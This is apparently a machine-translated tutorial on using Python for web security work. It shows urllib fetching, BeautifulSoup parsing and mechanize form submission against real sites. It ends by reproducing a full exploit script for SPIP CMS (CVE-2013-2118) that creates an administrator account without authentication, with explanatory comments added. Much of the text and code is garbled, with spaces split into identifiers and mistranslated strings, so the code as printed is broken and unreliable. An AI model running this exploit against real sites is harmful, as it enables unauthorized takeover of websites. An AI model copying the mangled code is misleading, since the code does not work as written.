This document describes the role of Python in WEB Security Analysis Based on the instance code, the most basic example shows you how to parse, obtain, and process various types of WEB Page system environments in Python: kali + beautifulsoup + mechanic. because it does not involve the underlying driver design, the sample code in this article can be used on any platform. Of course, you must install the plug-in on any platform.
Due to space limitations, only the first 500 items are displayed.
View the url corresponding to the response
>>> httpResponse.url'http://www.baidu.com'
Similarly, you can view the internal structure of the headers structure.
>>> dir(httpResponse.headers)['__contains__', '__delitem__', '__doc__', '__getitem__', '__init__', '__iter__', '__len__', '__module__', '__setitem__', '__str__', 'addcontinue', 'addheader', 'dict', 'encodingheader', 'fp', 'get', 'getaddr', 'getaddrlist', 'getallmatchingheaders', 'getdate', 'getdate_tz', 'getencoding', 'getfirstmatchingheader', 'getheader', 'getheaders', 'getmaintype', 'getparam', 'getparamnames', 'getplist', 'getrawheader', 'getsubtype', 'gettype', 'has_key', 'headers', 'iscomment', 'isheader', 'islast', 'items', 'keys', 'maintype', 'parseplist', 'parsetype', 'plist', 'plisttext', 'readheaders', 'rewindbody', 'seekable', 'setdefault', 'startofbody', 'startofheaders', 'status', 'subtype', 'type', 'typeheader', 'unixfrom', 'values']>>> httpResponse.headers.items()[('bdqid', '0xeb89374a00028e2e'), ('x-powered-by', 'HPHP'), ('set-cookie', 'BAIDUID=0C926CCF670378EAAA0BD29C611B3AE8:FG=1; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com, BDSVRTM=0; path=/, H_PS_PSSID=5615_4392_1423_7650_7571_6996_7445_7539_6505_6018_7254_7607_7134_7666_7415_7572_7580_7475; path=/; domain=.baidu.com'), ('expires', 'Tue, 15 Jul 2014 02:37:00 GMT'), ('vary', 'Accept-Encoding'), ('bduserid', '0'), ('server', 'BWS/1.1'), ('connection', 'Close'), ('cxy_all', 'baidu+776b3a548a71afebd09c6640f9af5559'), ('cache-control', 'private'), ('date', 'Tue, 15 Jul 2014 02:37:47 GMT'), ('p3p', 'CP=" OTI DSP COR IVA OUR IND COM "'), ('content-type', 'text/html; charset=utf-8'), ('bdpagetype', '1')]
Try to parse
>>> for header,value in httpResponse.headers.items() : print header+':'+value bdqid:0xeb89374a00028e2ex-powered-by:HPHPset-cookie:BAIDUID=0C926CCF670378EAAA0BD29C611B3AE8:FG=1; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com, BDSVRTM=0; path=/, H_PS_PSSID=5615_4392_1423_7650_7571_6996_7445_7539_6505_6018_7254_7607_7134_7666_7415_7572_7580_7475; path=/; domain=.baidu.comexpires:Tue, 15 Jul 2014 02:37:00 GMTvary:Accept-Encodingbduserid:0server:BWS/1.1connection:Closecxy_all:baidu+776b3a548a71afebd09c6640f9af5559cache-control:privatedate:Tue, 15 Jul 2014 02:37:47 GMTp3p:CP=" OTI DSP COR IVA OUR IND COM "content-type:text/html; charset=utf-8bdpagetype:1>>> url = http://www.baidu.com/s?wd=df&rsv_spt=1
The complete url is used to obtain the http page
>>> base_url = http://www.baidu.com
Basic url
>>> args = {'wd':'df','rsv_spt':1}
Separate parameter input Construction
>>> encode_args = urllib.urlencode(args)
Urlencode can be encoded in url format
>>> fp2=urllib.urlopen(base_url+'/s?'+encode_args)
Try again to get the WEB page in this way
>>> print fp2.read()[0:500].decode("utf-8")
Since the page is UTF-8, you can decode the Chinese character and set it yourself.
<! DOCTYPE html> <! -- Status OK --> 0x02 parse html pages using python
Install beautifulsoup, http://www.crummy.com/software/BeautifulSoup/ first
Root @ kali :~ /Desktop/beautifulsoup4-4.3.2 # python setup. py installrunning buildrunning build_pycreating build/lib. linux-x86_64-2.7creating build/lib. A linux-x86_64-2.7/bs4copying bs4/dammit. py-> build/lib. linux-x86_64-2.7/bs4copying bs4/testing. py-> build/lib. linux-x86_64-2.7/bs4copying bs4/element. py-> build/lib. linux-x86_64-2.7/bs4copying bs4/_ init __. py-> build/lib. linux-x86_64-2.7/bs4 ............... ................................................... Copying bs4/diagnose is partially omitted. py-> build/lib. A linux-x86_64-2.7/bs4creating build/lib. linux-x86_64-2.7/bs4/buildercopying bs4/builder/_ lxml. py-> build/lib. linux-x86_64-2.7/bs4/buildercopying bs4/builder/_ htmlparser. py-> build/lib. linux-x86_64-2.7/bs4/builderroot @ kali :~ /Desktop/beautifulsoup4-4.3.2 #
Bs4 can be used below
root@kali:~# pythonPython 2.7.3 (default, Jan 2 2013, 13:56:14)[GCC 4.7.2] on linux2Type "help", "copyright", "credits" or "license" for more information.>>> from bs4 import BeautifulSoup
Import the bs4 package (previously installed)
>>> import urllib>>> html = urllib.urlopen('http://www.baidu.com')>>> html.code200>>> bt = BeautifulSoup(html.read(),"lxml")
Lxml Parsing is probably provided by kali, which is difficult to install on windows.
Title
<Title> Baidu, you will know </title> bt. title. stringu' \ u767e \ u5ea6 \ u4e00 \ u4e0b \ uff0c \ u4f60 \ u5c31 \ u77e5 \ u9053 '>>> bt. meta <meta content = "text/html; charset = UTF-8" http-equiv = "content-type"/>>>> bt. meta. next <meta content = "IE = Edge" http-equiv = "X-UA-Compatible"/> bt. meta. next. next <link href = "// s1.bdstatic.com" rel = "dns-prefetch"/> all1_ags = bt. find_all ('meta ')
Find all meta data tags
>>> allMetaTags[<meta content="text/html;charset=utf-8" http-equiv="content-type"/>, <meta content="IE=Edge" http-equiv="X-UA-Compatible"/>, <meta content="0; url=/baidu.html?from=noscript" http-equiv="refresh"/>]>>> allMetaTags[0]<meta content="text/html;charset=utf-8" http-equiv="content-type"/>>>> allLinks = bt.find_all('a')
Find all a tags (LINKS)
>>> AllLinks [0] <a href = "http://www.baidu.com/gaoji/preferences.html" onmousedown = "return user_c ({'fm ': 'set', 'tab': 'setting ', 'login': '0 '}) "> Search Settings </a >>> allLinks [1] <a href ="/"id =" btop "onmousedown =" return user_c ({'faf ': 'set', 'tab': 'index', 'login': '0'}) "> Baidu homepage </a >>>> for link in allLinks :... print link ['href ']...
Try to parse it easily
http://www.baidu.com/gaoji/preferences.htmlhttps://passport.baidu.com/v2/?login&tpl=mn&u=http%3A%2F%2Fwww.baidu.com%2Fhttps://passport.baidu.com/v2/?reg®Type=1&tpl=mn&u=http%3A%2F%2Fwww.baidu.com%2Fhttp://news.baidu.com/ns?cl=2&rn=20&tn=news&word=http://tieba.baidu.com/f?kw=&fr=wwwthttp://zhidao.baidu.com/q?ct=17&pn=0&tn=ikaslist&rn=10&word=&fr=wwwthttp://music.baidu.com/search?fr=ps&key=http://image.baidu.com/i?tn=baiduimage&ps=1&ct=201326592&lm=-1&cl=2&nc=1&word=http://v.baidu.com/v?ct=301989888&rn=20&pn=0&db=0&s=25&word=http://map.baidu.com/m?word=&fr=ps01000http://wenku.baidu.com/search?word=&lm=0&od=0
0x03 process the form using python + mechanic
root@kali:~# pythonPython 2.7.3 (default, Jan 2 2013, 13:56:14)[GCC 4.7.2] on linux2Type "help", "copyright", "credits" or "license" for more information.>>> import mechanize
Import mechanic
| 1 |
>>> br = mechanize.Browser() |
Build a browser instance
| 1 |
>>> br.open('http://www.17173.com') |
Open a page with a form
<response_seek_wrapper at 0x248db90 whose wrapped object = <closeable_response at 0x248d098 whose fp = <socket._fileobject object at 0x1f868d0>>>>>> for form in br.forms():... print form...<GET http://search.17173.com/jsp/news_press.jsp application/x-www-form-urlencoded <HiddenControl(charset=gbk) (readonly)> <TextControl(keyword=��������)> <SubmitControl(<None>=����) (readonly)>><searchask GET http://search.17173.com/jsp/game.jsp application/x-www-form-urlencoded <HiddenControl(charset=gbk) (readonly)> <TextControl(<None>=)> <TextControl(<None>=)>><voteform POST http://vote.17173.com/action/vote_process.php application/x-www-form-urlencoded <HiddenControl(vote_id=9624) (readonly)> <HiddenControl(vote_year=) (readonly)> <CheckboxControl(vote_item_9624[]=[49649, 49650, 49651, 49652, 49653, 49654, 49655, 49656])> <SubmitControl(<None>=) (readonly)>><GET http://search.17173.com/jsp/news_press.jsp application/x-www-form-urlencoded <HiddenControl(charset=gbk) (readonly)> <TextControl(keyword=��������)> <SubmitControl(<None>=����) (readonly)>>>>>>>> br.select_form(nr=0)
Select the form to process
| 1 |
>>> br.form['keyword']='2013' |
TextControl)
Simulate a browser to submit a form
<response_seek_wrapper at 0x248dab8 whose wrapped object = <closeable_response at 0x249d950 whose fp = <socket._fileobject object at 0x243e5d0>>>>>> br<mechanize._mechanize.Browser instance at 0x242ff38>>>>
0x04 instance analysis
The following is a vulnerability where the administrator password of a CMS can be retrieved without authorization, and the original author information is completely retained.
#! /Usr/bin/env python # Exploit Title: SPIP-CMS <3.0.9/2.1.22/2.0.23-Privilege escalation to administrator account from non authenticated user # Date: 04/30/2014 # Flaw finder: unknown # Exploit Author: Gregory DRAPERI # Email: gregory | dot | draperi | at | gmail | dot | com # Google Dork: inurl = "spip. php "# Vendor Homepage: www.spip.net # Software Link: http://files.spip.org/spip/archives/# Version: SPIP <3.0.9/2.1.22/2.0.23 # Tested on: Windows 7-SPIP 2.2.21 # CVE: CVE-2013-2118 ''' program Software Description: SPIP is a free software content management system implements Vulnerability Details: This vulnerability allows remote attackers to create an administrator account on the CMS without being authenticated. to exploit the flaw, a SMTP configuration has to be configured on SPIP because the password is sent by mail. '''import urllib, urllib2import cookielibimport sysimport redef send_request (urlOpener, url, post_data = None): // send url (optional post) request = urllib2.Request (url) // use urllib2 to process http Request url = urlOpener. open (request, post_data) return url. read () if len (sys. argv) <4: // simple system prompt print "SPIP <3.0.9/2.1.22/2.0.23 exploit by Gregory DRAPERI \ n \ tUsage: python script. py <SPIP base_url> <login> <mail> "exit () base_url = sys. argv [1] // the website address login = sys. argv [2] // logon address mail = sys. argv [3] // The target email address cookiejar = cookielib. cookieJar () // process cookie with forged identity urlOpener = urllib2.build _ opener (urllib2.HTTPCo OkieProcessor (cookiejar) formulaire = send_request (urlOpener, base_url + "/spip. php? Page = identifiants & mode = 0 minirezo ") print" [+] First request sended... "// send HTTP request m = re. search ("<input name = 'formulaire _ action_args 'type = 'den den' \ n [^>] *", formulaire) // find the target Form m = re. search ("(? <= Value = ') [\ w \ +/=] * ", m. group (0); formulaire_data = {'var _ ajax ': 'form', 'page': 'identifiants', 'Mode': '0minirezo ', 'formulaire _ action': 'invalid', 'formulaire _ action_args ': m. group (0), 'nom _ input': login, 'mail _ input': mail, 'noput': ''} // construct the parameters formulaire_data = urllib in the request. urlencode (formulaire_data) // perform url encoding send_request (urlOpener, base_url + "/spip. php? Page = identifiants & mode = 0 minirezo ", formulaire_data) print "[+] Second request sended" print "[+] You shoshould receive an email with credentials soon :)" // after the Second request is sent, the target has been completed.